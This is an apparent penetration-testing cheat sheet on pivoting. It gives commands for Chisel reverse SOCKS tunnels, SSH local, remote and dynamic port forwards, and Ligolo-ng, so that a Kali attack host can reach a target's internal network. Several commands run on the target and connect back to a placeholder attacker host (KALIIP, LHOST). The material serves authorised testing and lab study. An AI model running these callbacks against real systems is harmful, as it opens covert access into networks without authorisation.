Tunnels & Pivots
Chisel Tunnel
Get Chisel on both the target and attack hosts
In Kali host's /etc/proxychains4.conf file:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 8081
socks5 127.0.0.1 5555
On Kali host:
chisel server -p 5555 --reverse
On target host:
chisel client KALIIP:5555 R:socks
Commands can now be run on local host with the proxychains
SSH Tunneling
Refer to: https://0xdf.gitlab.io/2018/06/10/intro-to-ssh-tunneling.html
Local Port Forward
Reach a service on the target's internal network (INTERNALHOST:INTERNALPORT) from localhost:LOCALPORT on Kali:
ssh -N -L LOCALPORT:INTERNALHOST:INTERNALPORT USERNAME@TARGET
- Use
127.0.0.1asINTERNALHOSTto reach services only listening on the target itself
Remote Port Forward
From the target, expose a port on Kali that tunnels back to a service the target can reach:
ssh -N -R REMOTEPORT:127.0.0.1:LOCALPORT USERNAME@LHOST
Dynamic Port Forward (SOCKS)
Open a SOCKS proxy on Kali that routes through the target:
ssh -N -D 1080 USERNAME@TARGET
Then set socks5 127.0.0.1 1080 in /etc/proxychains4.conf and prefix commands with proxychains.
Ligolo-ng
Ligolo-ng builds a tunnel interface instead of a SOCKS proxy, so tools work normally without proxychains (including nmap SYN scans and UDP).
On Kali, create the interface and start the proxy:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
On the target, connect back (default port 11601):
./agent -connect LHOST:11601 -ignore-cert
In the ligolo-ng console, pick the agent with session and run start. Then add a route on Kali for the internal network:
sudo ip route add INTERNALSUBNET/24 dev ligolo